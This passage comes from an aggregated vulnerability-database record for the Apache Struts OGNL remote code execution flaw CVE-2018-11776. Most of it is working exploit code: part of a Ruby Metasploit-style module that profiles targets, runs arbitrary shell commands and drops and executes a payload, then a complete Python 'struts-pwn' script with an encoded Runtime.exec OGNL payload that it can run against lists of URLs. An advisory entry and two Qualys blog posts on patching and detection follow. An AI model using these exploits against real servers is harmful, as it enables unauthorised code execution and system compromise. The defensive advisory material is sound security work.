'timeout=5, max=1000'} \n \nif payload \nvprint_status(\"Embedding payload of #{payload.length} bytes\") \nheaders[datastore['HEADER']] = payload \nend \n \n# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs \nuri = \"/#{ognl}/#{datastore['ACTION']}\" \n \nresp = send_request_cgi( \n#'encode' => true, # this fails to encode '\\', which is a problem for me \n'uri' => uri, \n'method' => datastore['HTTPMethod'], \n'headers' => headers \n) \n \nif resp && resp.code == 404 \nfail_with(Failure::UnexpectedReply, \"Server returned HTTP 404, please double check TARGETURI and ACTION options\") \nend \n \n=begin #badchar-checking code \nprint_status(\"Response code: #{resp.code}\") \n#print_status(\"Response recv: BODY '#{resp.body}'\") if resp.body \nif resp.headers['Location'] \nprint_status(\"Response recv: LOC: #{resp.headers['Location'].split('/')[1]}\") \nif resp.headers['Location'].split('/')[1] == pre[1..-2] \nprint_good(\"GOT 'EM!\") \nelse \nprint_error(\" #{pre[1..-2]}\") \nend \nend \n=end \n \nresp \nend \n \ndef profile_target \n# Use OGNL to extract properties from the Java environment \n \nproperties = { 'os.name': nil, # e.g. 'Linux' \n'os.arch': nil, # e.g. 'amd64' \n'os.version': nil, # e.g. '4.4.0-112-generic' \n'user.name': nil, # e.g. 'root' \n#'user.home': nil, # e.g. '/root' (didn't work in testing) \n'user.language': nil, # e.g. 'en' \n#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing) \n} \n \nognl = \"\" \nognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] \nognl << %Q|('#{rand_text_alpha(2)}')| \nproperties.each do |k,v| \nognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'| \nend \nognl = ognl[0...-4] \n \nr = send_struts_request(ognl) \n \nif r.code == 400 \nfail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\") \nelsif r.headers['Location'] \n# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action' \n# Extract the OGNL output from the Location path, and strip the two random chars \ns = r.headers['Location'].split('/')[1][2..-1] \n \nif s.nil? \n# Since the target didn't respond with an HTTP/400, we know the OGNL code executed. \n# But we didn't get any output, so we can't profile the target. Abort. \nreturn nil \nend \n \n# Confirm that all fields were returned, and non include extra (:) delimiters \n# If the OGNL fails, we might get a partial result back, in which case, we'll abort. \nif s.count(':') > properties.length \nprint_error(\"Failed to profile target. Response from server: #{r.to_s}\") \nfail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\") \nend \n \n# Separate the colon-delimited properties and store in the 'properties' hash \ns = s.split(':') \ni = 0 \nproperties.each do |k,v| \nproperties[k] = s[i] \ni += 1 \nend \n \nprint_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" + \n\" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\") \nreturn properties \nelse \nprint_error(\"Failed to profile target. Response from server: #{r.to_s}\") \nfail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\") \nend \nend \n \ndef execute_command(cmd_input, opts={}) \n# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that. \nif cmd_input.include? ';' \nprint_warning(\"WARNING: Command contains bad characters: semicolons (;).\") \nend \n \nbegin \nproperties = profile_target \nos = properties[:'os.name'].downcase \nrescue \nvprint_warning(\"Target profiling was unable to determine operating system\") \nos = '' \nos = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' \nos = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' \nos = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' \nend \n \nif (os.include? 'linux') || (os.include? 'nix') \ncmd = \"{'sh','-c','#{cmd_input}'}\" \nelsif os.include? 'win' \ncmd = \"{'cmd.exe','/c','#{cmd_input}'}\" \nelse \nvprint_error(\"Failed to detect target OS. Attempting to execute command directly\") \ncmd = cmd_input \nend \n \n# The following OGNL will run arbitrary commands on Windows and Linux \n# targets, as well as returning STDOUT and STDERR. In my testing, \n# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds. \n \nvprint_status(\"Executing: #{cmd}\") \n \nognl = \"\" \nognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] \nognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).| \nognl << %q|(#p.redirectErrorStream(true)).| \nognl << %q|(#process=#p.start()).| \nognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).| \nognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).| \nognl << %q|(#r.flush())| \n \nr = send_struts_request(ognl) \n \nif r && r.code == 200 \nprint_good(\"Command executed:\\n#{r.body}\") \nelsif r \nif r.body.length == 0 \nprint_status(\"Payload sent, but no output provided from server.\") \nelsif r.body.length > 0 \nprint_error(\"Failed to run command. Response from server: #{r.to_s}\") \nend \nend \nend \n \ndef send_payload \n# Probe for the target OS and architecture \nbegin \nproperties = profile_target \nos = properties[:'os.name'].downcase \nrescue \nvprint_warning(\"Target profiling was unable to determine operating system\") \nos = '' \nos = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' \nos = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' \nos = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' \nend \n \ndata_header = datastore['HEADER'] \nif data_header.empty? \nfail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\") \nend \n \nrandom_filename = datastore['TEMPFILE'] \n \n# d = data stream from HTTP header \n# f = path to temp file \n# s = stream/handle to temp file \nognl = \"\" \nognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] \nognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).| \nognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).| \nognl << %q|(#f.setExecutable(true)).| \nognl << %q|(#f.deleteOnExit()).| \nognl << %q|(#s=new java.io.FileOutputStream(#f)).| \nognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).| \nognl << %q|(#s.write(#d)).| \nognl << %q|(#s.close()).| \nognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| \nognl << %q|(#p.start()).| \nognl << %q|(#f.delete()).| \n \nsuccess_string = rand_text_alpha(4) \nognl << %Q|('#{success_string}')| \n \nexe = [generate_payload_exe].pack(\"m\").delete(\"\\n\") \nr = send_struts_request(ognl, payload: exe) \n \nif r && r.headers && r.headers['Location'].split('/')[1] == success_string \nprint_good(\"Payload successfully dropped and executed.\") \nelsif r && r.headers['Location'] \nvprint_error(\"RESPONSE: \" + r.headers['Location']) \nfail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\") \nelsif r && r.code == 400 \nfail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while executing the payload\") \nend \nend \nend \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/149277/struts2_namespace_ognl.rb.txt"}, {"lastseen": "2018-08-27T17:58:42", "description": "", "cvss3": {}, "published": "2018-08-26T00:00:00", "type": "packetstorm", "title": "Apache Struts 2.3 / 2.5 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-26T00:00:00", "id": "PACKETSTORM:149086", "href": "https://packetstormsecurity.com/files/149086/Apache-Struts-2.3-2.5-Remote-Code-Execution.html", "sourceData": "`#!/usr/bin/env python3 \n# coding=utf-8 \n# ***************************************************** \n# struts-pwn: Apache Struts CVE-2018-11776 Exploit \n# Author: \n# Mazin Ahmed <Mazin AT MazinAhmed DOT net> \n# This code uses a payload from: \n# https://github.com/jas502n/St2-057 \n# ***************************************************** \n \nimport argparse \nimport random \nimport requests \nimport sys \ntry: \nfrom urllib import parse as urlparse \nexcept ImportError: \nimport urlparse \n \n# Disable SSL warnings \ntry: \nimport requests.packages.urllib3 \nrequests.packages.urllib3.disable_warnings() \nexcept Exception: \npass \n \nif len(sys.argv) <= 1: \nprint('[*] CVE: 2018-11776 - Apache Struts2 S2-057') \nprint('[*] Struts-PWN - @mazen160') \nprint('\\n%s -h for help.' % (sys.argv[0])) \nexit(0) \n \n \nparser = argparse.ArgumentParser() \nparser.add_argument(\"-u\", \"--url\", \ndest=\"url\", \nhelp=\"Check a single URL.\", \naction='store') \nparser.add_argument(\"-l\", \"--list\", \ndest=\"usedlist\", \nhelp=\"Check a list of URLs.\", \naction='store') \nparser.add_argument(\"-c\", \"--cmd\", \ndest=\"cmd\", \nhelp=\"Command to execute. (Default: 'id')\", \naction='store', \ndefault='id') \nparser.add_argument(\"--exploit\", \ndest=\"do_exploit\", \nhelp=\"Exploit.\", \naction='store_true') \n \n \nargs = parser.parse_args() \nurl = args.url if args.url else None \nusedlist = args.usedlist if args.usedlist else None \ncmd = args.cmd if args.cmd else None \ndo_exploit = args.do_exploit if args.do_exploit else None \n \nheaders = { \n'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)', \n# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', \n'Accept': '*/*' \n} \ntimeout = 3 \n \n \ndef parse_url(url): \n\"\"\" \nParses the URL. \n\"\"\" \n \n# url: http://example.com/demo/struts2-showcase/index.action \n \nurl = url.replace('#', '%23') \nurl = url.replace(' ', '%20') \n \nif ('://' not in url): \nurl = str(\"http://\") + str(url) \nscheme = urlparse.urlparse(url).scheme \n \n# Site: http://example.com \nsite = scheme + '://' + urlparse.urlparse(url).netloc \n \n# FilePath: /demo/struts2-showcase/index.action \nfile_path = urlparse.urlparse(url).path \nif (file_path == ''): \nfile_path = '/' \n \n# Filename: index.action \ntry: \nfilename = url.split('/')[-1] \nexcept IndexError: \nfilename = '' \n \n# File Dir: /demo/struts2-showcase/ \nfile_dir = file_path.rstrip(filename) \nif (file_dir == ''): \nfile_dir = '/' \n \nreturn({\"site\": site, \n\"file_dir\": file_dir, \n\"filename\": filename}) \n \n \ndef build_injection_inputs(url): \n\"\"\" \nBuilds injection inputs for the check. \n\"\"\" \n \nparsed_url = parse_url(url) \ninjection_inputs = [] \nurl_directories = parsed_url[\"file_dir\"].split(\"/\") \n \ntry: \nurl_directories.remove(\"\") \nexcept ValueError: \npass \n \nfor i in range(len(url_directories)): \ninjection_entry = \"/\".join(url_directories[:i]) \n \nif not injection_entry.startswith(\"/\"): \ninjection_entry = \"/%s\" % (injection_entry) \n \nif not injection_entry.endswith(\"/\"): \ninjection_entry = \"%s/\" % (injection_entry) \n \ninjection_entry += \"{{INJECTION_POINT}}/\" # It will be renderred later with the payload. \ninjection_entry += parsed_url[\"filename\"] \n \ninjection_inputs.append(injection_entry) \n \nreturn(injection_inputs) \n \n \ndef check(url): \nrandom_value = int(''.join(random.choice('0123456789') for i in range(2))) \nmultiplication_value = random_value * random_value \ninjection_points = build_injection_inputs(url) \nparsed_url = parse_url(url) \nprint(\"[%] Checking for CVE-2018-11776\") \nprint(\"[*] URL: %s\" % (url)) \nprint(\"[*] Total of Attempts: (%s)\" % (len(injection_points))) \nattempts_counter = 0 \n \nfor injection_point in injection_points: \nattempts_counter += 1 \nprint(\"[%s/%s]\" % (attempts_counter, len(injection_points))) \ntesting_url = \"%s%s\" % (parsed_url[\"site\"], injection_point) \ntesting_url = testing_url.replace(\"{{INJECTION_POINT}}\", \"${{%s*%s}}\" % (random_value, random_value)) \ntry: \nresp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) \nexcept Exception as e: \nprint(\"EXCEPTION::::--> \" + str(e)) \ncontinue \nif \"Location\" in resp.headers.keys(): \nif str(multiplication_value) in resp.headers['Location']: \nprint(\"[*] Status: Vulnerable!\") \nreturn(injection_point) \nprint(\"[*] Status: Not Affected.\") \nreturn(None) \n \n \ndef exploit(url, cmd): \nparsed_url = parse_url(url) \n \ninjection_point = check(url) \nif injection_point is None: \nprint(\"[%] Target is not vulnerable.\") \nreturn(0) \nprint(\"[%] Exploiting...\") \n \npayload = \"\"\"%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D\"\"\".format(cmd) \n \ntesting_url = \"%s%s\" % (parsed_url[\"site\"], injection_point) \ntesting_url = testing_url.replace(\"{{INJECTION_POINT}}\", payload) \n \ntry: \nresp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) \nexcept Exception as e: \nprint(\"EXCEPTION::::--> \" + str(e)) \nreturn(1) \n \nprint(\"[%] Response:\") \nprint(resp.text) \nreturn(0) \n \n \ndef main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): \nif url: \nif not do_exploit: \ncheck(url) \nelse: \nexploit(url, cmd) \n \nif usedlist: \nURLs_List = [] \ntry: \nf_file = open(str(usedlist), \"r\") \nURLs_List = f_file.read().replace(\"\\r\", \"\").split(\"\\n\") \ntry: \nURLs_List.remove(\"\") \nexcept ValueError: \npass \nf_file.close() \nexcept Exception as e: \nprint(\"Error: There was an error in reading list file.\") \nprint(\"Exception: \" + str(e)) \nexit(1) \nfor url in URLs_List: \nif not do_exploit: \ncheck(url) \nelse: \nexploit(url, cmd) \n \nprint(\"[%] Done.\") \n \n \nif __name__ == \"__main__\": \ntry: \nmain(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) \nexcept KeyboardInterrupt: \nprint(\"\\nKeyboardInterrupt Detected.\") \nprint(\"Exiting...\") \nexit(0) \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/149086/apachestruts2325-exec.txt"}], "osv": [{"lastseen": "2023-08-28T12:21:43", "description": "Apache Struts contains a Remote Code Execution when using results with no namespace and it's upper actions have no or wildcard namespace. The same flaw exists when using a url tag with no value, action set, and it's upper actions have no or wildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-18T19:24:38", "type": "osv", "title": "Apache Struts vulnerable to remote command execution (RCE) due to improper input validation", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-08-28T11:04:18", "id": "OSV:GHSA-CR6J-3JP9-RW65", "href": "https://osv.dev/vulnerability/GHSA-cr6j-3jp9-rw65", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2019-01-14T20:46:20", "description": "Ransomware raids aimed at specific targets with big pockets. Another Struts vulnerability -- but scarier than last year\u2019s. An Android spyware that records your phone calls. These are some of the security news that have caught our attention.\n\n### New Struts Bug Should Be Patched Yesterday\n\nApache patched a serious remote code execution vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) affecting all supported versions -- 2.3 to 2.3.34 and 2.5 to 2.5.16 -- of the widely used Struts Java application framework. The bug is considered more dangerous than the one disclosed last year in Struts that was exploited in the massive data breach at Equifax.\n\nIn the Apache [security bulletin](<https://cwiki.apache.org/confluence/display/WW/S2-057>), the vulnerability is rated \u201cCritical\u201d and users are advised to immediately upgrade to Struts 2.3.35 or Struts 2.5.17.\n\nThe remote code execution becomes possible \u201cwhen using results with no namespace and in same time, its upper action(s) have no or wildcard namespace\u201d and \u201cwhen using url tag which doesn\u2019t have value and action set,\u201d the bulletin reads.\n\nOrganizations should upgrade to the patched Struts versions even if their applications aren\u2019t vulnerable to this bug. \u201cAn inadvertent change to a Struts configuration file may render the application vulnerable in the future,\u201d [stated](<https://semmle.com/news/apache-struts-CVE-2018-11776>) Semmle, whose security researcher Man Yue Mo discovered this vulnerability.\n\nUpgrading should take first priority, considering that Struts is widely used for public web apps, vulnerable systems are easy to identify, and the bug is easy to exploit, according to the company.\n\n\u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk,\u201d said Pavel Avgustinov, a Semmle VP.\n\nWriting in the Qualys blog, Product Management Director Jimmy Graham [noted](<https://blog.qualys.com/securitylabs/2018/08/23/detecting-apache-struts-2-namespace-rce-cve-2018-11776>) that the vulnerability does not exist with a default configuration of Struts, but that \u201cit does exist in commonly seen configurations for some Struts plugins.\u201d\n\n\u201cDue to the ease of exploitation and relatively common configuration that is required, this vulnerability should be patched immediately for all applications that use Struts 2,\u201d Graham wrote. Qualys has defined two QIDs to detect this vulnerability (QID 13251 and QID 371151), and created dynamic [dashboards](<https://community.qualys.com/docs/DOC-6515-dashboards-and-reporting-detecting-apache-struts-2-namespace-rce-cve-2018-11776?_ga=2.73902801.230834091.1535379602-620242525.1458325156>) to visualize it.\n\n\n\nGraham also describes how the Qualys Web Application Firewall (WAF) can mitigate the vulnerability.\n\nMore information:\n\n[Apache Struts 2 namespace Remote Code Execution Vulnerability: CVE-2018-11776](<https://threatprotect.qualys.com/2018/08/22/apache-struts-2-namespace-remote-code-execution-vulnerability-cve-2018-11776/?_ga=2.140995313.230834091.1535379602-620242525.1458325156>) _(Qualys)_\n\n[Apache Struts 2 Flaw Uncovered: \u2018More Critical Than Equifax Bug\u2019](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>) _(ThreatPost)_\n\n[Admins Urged: Stop Everything and Patch New Apache Struts Flaw](<https://www.infosecurity-magazine.com/news/admins-stop-everything-patch/>) _(InfoSecurity)_\n\n[Experts Urge Rapid Patching of \u2018Struts\u2019 Bug](<https://krebsonsecurity.com/2018/08/experts-urge-rapid-patching-of-struts-bug/>) _(Krebs on Security)_\n\n[PoC Code Surfaces to Exploit Apache Struts 2 Vulnerability](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) _(ThreatPost)_\n\n### Ransomware Campaign Attacks Selected Organizations\n\nCyber thieves recently began attacking handpicked corporations with ransomware and demanding skyhigh bitcoin payments.\n\nThe criminals are deliberately targeting specific large businesses, and they\u2019re using ransomware called Ryuk that\u2019s designed for tailored attacks. They reportedly netted more than $600,000 during the campaign\u2019s first two weeks.\n\n\u201cIts encryption scheme is intentionally built for small-scale operations, such that only crucial assets and resources are infected in each targeted network with its infection and distribution carried out manually by the attackers,\u201d CheckPoint researchers [wrote](<https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/>).\n\nThe implication is that prior to each attack, \u201cextensive network mapping, hacking and credential collection\u201d is conducted by the miscreants, believed to have ties to the notorious hacker collective Lazarus Group and be experienced in targeted attacks, according to the researchers.\n\nMore information:\n\n[This new ransomware campaign targets business and demands a massive bitcoin ransom](<https://www.zdnet.com/article/this-new-ransomware-campaign-targets-business-and-demands-a-massive-bitcoin-ransom/>) _(ZDnet)_\n\n[Ryuk Ransomware Emerges in Highly Targeted, Highly Lucrative Campaign](<https://threatpost.com/ryuk-ransomware-emerges-in-highly-targeted-highly-lucrative-campaign/136755/>) _(ThreatPost)_\n\n[Ryuk Ransomware Crew Makes $640,000 in Recent Activity Surge](<https://www.bleepingcomputer.com/news/security/ryuk-ransomware-crew-makes-640-000-in-recent-activity-surge/>) _(BleepingComputer)_\n\n### T-Mobile Hacked, Millions Affected\n\nPersonal information of 2 million T-Mobile customers, [including encrypted passwords](<https://motherboard.vice.com/en_us/article/a3qpk5/t-mobile-hack-data-breach-api-customer-data>), may have been accessed by hackers via a breached API on August 20.\n\nThe compromised data may have included names, billing zip codes, phone numbers, email addresses, and account numbers, but not financial information nor Social Security numbers, [according to the company](<https://www.t-mobile.com/customers/6305378821>). T-Mobile hasn\u2019t provided further details on the nature of the attack.\n\nOn related news, customer security PINs from T-Mobile and AT&T were found to be accessible due to unrelated flaws in partners\u2019 websites, [according to BuzzFeed](<https://www.buzzfeednews.com/article/nicolenguyen/tmobile-att-account-pin-security-flaw-apple>). Apple\u2019s online store exposed the T-Mobile data, while the website of phone insurance company Asurion exposed AT&T\u2019s data. Both companies fixed the flaws after being alerted to them.\n\nAccess to a mobile account PIN could let a hacker \u201ceasily commandeer your phone number and use it to trick the SMS-based authentication designed to verify your identity when you log on to your bank, email provider, or social media accounts,\u201d wrote Nicole Nguyen in BuzzFeed.\n\nMeanwhile, a security researcher was able to [enter a Sprint employee portal](<https://techcrunch.com/2018/08/25/hacker-accessed-sprint-portal-customer-data/>) protected by weak credentials, and said customer data could have been accessed.\n\nMore information:\n\n[Passwords Part of Data Breach, T-Mobile Admits: What to Do Now](<https://www.tomsguide.com/us/tmobile-breach-2018,news-27876.html>) _(Tom\u2019s Guide)_\n\n[Why T-Mobile's Data Breach Should Be a Wake-Up Call](<https://www.fool.com/investing/2018/08/27/why-t-mobiles-data-breach-should-be-a-wake-up-call.aspx>) _(Motley Fool)_\n\n[2 Million T-Mobile Customers Are Hit by a Data Breach](<https://www.consumerreports.org/privacy/2-million-t-mobile-customers-hit-by-data-breach/>) _(Consumer Reports)_\n\n[Security researchers found vulnerabilities at AT&T, T-Mobile, and Sprint that could have exposed customer data](<https://www.theverge.com/2018/8/25/17781906/att-tmobile-sprint-security-vulnerabilities-customer-information>) _(The Verge)_\n\n[T-Mobile, AT&T customer account PINs were exposed by website flaws](<https://www.engadget.com/2018/08/25/t-mobile-att-pin-vulnerability/>) _(Engadget)_\n\n### Android Malware Records Calls, Takes Videos\n\nMalware that infects Android devices and conducts extensive snooping has been discovered bundled in a malicious app that mimics a legitimate one.\n\nCalled Triout, the spyware stealthily can record phone calls, log incoming text messages, take videos, snap photos, collect location data and transmit everything it collects to a command and control center, [according to Bitdefender](<https://www.bitdefender.com/files/News/CaseStudies/study/234/Bitdefender-Whitepaper-Triout-The-Malware-Framework-for-Android-That-Packs-Potent-Spyware-Capabilities.pdf>), which discovered it.\n\n\u201cThe malware was first observed lurking in an app, repackaged to look identical to a legitimate Android app called \u2018Sex Game.\u2019 It was available in the Google Play store starting in 2016, but has since been removed,\u201d a ThreatPost [article](<https://threatpost.com/triout-malware-carries-out-extensive-targeted-android-surveillance/136773/>) reads.\n\nMore information:\n\n[Android 'Triout' spyware records calls, sends photos and text messages to attackers](<https://www.csoonline.com/article/3299700/security/android-triout-spyware-records-calls-sends-photos-and-text-messages-to-attackers.html>) _(CSO)_\n\n[This Android spyware records calls and sends your pictures and location to hackers](<https://www.zdnet.com/article/android-spyware-malware-records-calls-and-sends-your-pictures-to-hackers/>) _(ZDnet)_\n\n[New Android Triout Malware Can Record Phone Calls, Steal Pictures](<https://www.bleepingcomputer.com/news/security/new-android-triout-malware-can-record-phone-calls-steal-pictures/>) _(BleepingComputer)_\n\n### In Other News \u2026\n\n * Cyber thieves [stole](<https://cheddars.com/customer-notification/>) payment card information from Cheddar\u2019s Scratch Kitchen restaurants in 23 U.S. states for two months late last year, potentially affecting [almost 600,000 customers](<https://www.prnewswire.com/news-releases/notice-of-unauthorized-access-to-cheddars-scratch-kitchen-guest-data-300701161.html>).\n * Apple was hacked by a 16-year old Australian boy who told authorities he [dreamed of working](<https://hotforsecurity.bitdefender.com/blog/apple-hacked-by-16-year-old-who-dreamed-of-working-for-firm-20254.html>) at the company.\n * Adobe issued [out-of-band fixes](<https://helpx.adobe.com/security/products/photoshop/apsb18-28.html>) for remote code execution vulnerabilities in Photoshop CC, barely a week after its scheduled monthly set of patches.\n * Spyfone, a company that lets parents and employers monitor mobile devices, left an AWS S3 storage bucket unprotected, [exposing all manner of personal data](<https://motherboard.vice.com/amp/en_us/article/9kmj4v/spyware-company-spyfone-terabytes-data-exposed-online-leak>) from thousands of customers.", "cvss3": {}, "published": "2018-08-27T18:32:33", "type": "qualysblog", "title": "Security News: Hackers Aim Ransomware at Big Cos., as Experts Call for Swift Patching of Struts Bug", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-27T18:32:33", "id": "QUALYSBLOG:5E5409E093DE06FE967B988870D82540", "href": "https://blog.qualys.com/news/2018/08/27/security-news-hackers-aim-ransomware-at-big-cos-as-experts-call-for-swift-patching-of-struts-bug", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-14T20:46:20", "description": "A new remote code execution [vulnerability](<https://cwiki.apache.org/confluence/display/WW/S2-057>) in Apache Struts 2, CVE-2018-11776, was [disclosed](<https://semmle.com/news/apache-struts-CVE-2018-11776>) yesterday. While this vulnerability does not exist with a default configuration of Struts, it does exist in commonly seen configurations for some Struts plugins.\n\n**Update August 24, 2018**: A [dashboard for this vulnerability](<https://community.qualys.com/docs/DOC-6515-dashboards-and-reporting-detecting-apache-struts-2-namespace-rce-cve-2018-11776>) is now available to download.\n\n### The Vulnerability\n\nStruts improperly validates namespaces, allowing for [OGNL](<https://en.wikipedia.org/wiki/OGNL>) injection, and can lead to full remote code execution on the target system. For a more detailed technical look at the vulnerability, please see our [Threat Protection blog](<https://threatprotect.qualys.com/2018/08/22/apache-struts-2-namespace-remote-code-execution-vulnerability-cve-2018-11776/>) on this topic. Struts versions 2.3.34 and 2.5.16 and before are impacted.\n\n### Recommended Response\n\nDue to the ease of exploitation and relatively common configuration that is required, this vulnerability should be patched immediately for all applications that use Struts 2. Patched versions are Struts [2.3.35](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.35>) and [2.5.17](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.17>). A publicly available [PoC](<https://github.com/jas502n/St2-057/blob/master/README.md>) has already been published, and active attacks against this vulnerability are most likely imminent.\n\n### Detections\n\nVulnerabilities in application frameworks are challenging to programmatically detect with traditional VM scanning, and multiple methods of detection are needed to ensure that Struts is found.\n\nBecause of this, Qualys has implemented two QIDs for detecting CVE-2018-11776 in [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/>):\n\n * **QID 13251** - This detection includes both remote and authenticated checks: \n * **Remote** - This detection sends a specifically crafted payload in the request to check for command execution in .action, .go, .do, .jsp and .xhtml files under common web directories.\n * **Authenticated (Linux/Unix)** - This executes ps -ef command, looks for the presence of the Tomcat process and finds the location of struts2-core-x.jar file. We are investigating using this method on other middleware technologies.\n * **QID 371151** - This authenticated scan detection uses our Tomcat auth to specify the location of the Tomcat configuration file. Once a Tomcat auth record is added, this detection reads the Tomcat location from the config and searches for struts-core.x.jar file under sub directories. It extracts the version from .jar file and compares with vulnerable Struts versions.\n * Both QIDs are included in Vulnerability Signatures version **VULNSIGS-2.4.403-3** or later\n\nQualys has also implemented a QID for detecting CVE-2018-11776 in [Qualys Web Application Scanning](<https://www.qualys.com/apps/web-application-scanning/>):\n\n * **QID 150250** - This is an active detection within WAS that sends a specially-crafted payload to the scanned web application. A vulnerable application will show evidence of a command executing on the server and QID 150250 will be reported.\n\nIn addition to scanning, Qualys recommends that application frameworks such as Struts be documented in an Application Portfolio or CMDB to ensure all components of an application are recorded and can be audited for these kinds of vulnerabilities.\n\n### Protection\n\nEven prior to the disclosure of this RCE vulnerability, [Qualys Web Application Firewall](<https://www.qualys.com/apps/web-app-firewall/>) users were already protected from exploits by every possible out-of-the-box template and generic policy. These templates, developed by security experts for Qualys WAF programmable inspection engine, are constantly tested against latests threats for the best detection rate and least false-positives.\n\n\n\nCustomers using manual policies instead of templates were potentially not protected though, depending on ELI (Expression Language Injection), CI (Code Injection) and RCE (Remote Command Execution) sliders settings, along with the blocking threshold.\n\n\n\n\n\nMitigating CVE-2018-11776 is possible by using the following methods:\n\n * native protection using a **generic policy** (QID-226017: Expression Language Injection and QID-226008: Remote Command Execution)\n * for those using a manual policy instead of an out-of-the-box template, you can alternatively create a **custom rule** with the following condition: _request.path DETECT \"qid/150178\"_\n * or of course, by applying a **virtual patch** to QID-150250 from within the WAS module ; which is equivalent to creating the rule manually, but quicker.\n\nToday\u2019s example - like \"drupalgeddon2\" a few months ago (CVE-2018-7600) - demonstrates how blocking zero-days is possible with Qualys WAF, without needing to define manual rules, giving CISO and IT Security organizations time for implementing sustainable fixes, while providing them with a tool to monitor and report any attempt to exploit the vulnerability.", "cvss3": {}, "published": "2018-08-23T20:27:19", "type": "qualysblog", "title": "Detecting Apache Struts 2 Namespace RCE: CVE-2018-11776", "bulletinFamily": "blog", "cvss2": {}, "cvelist": 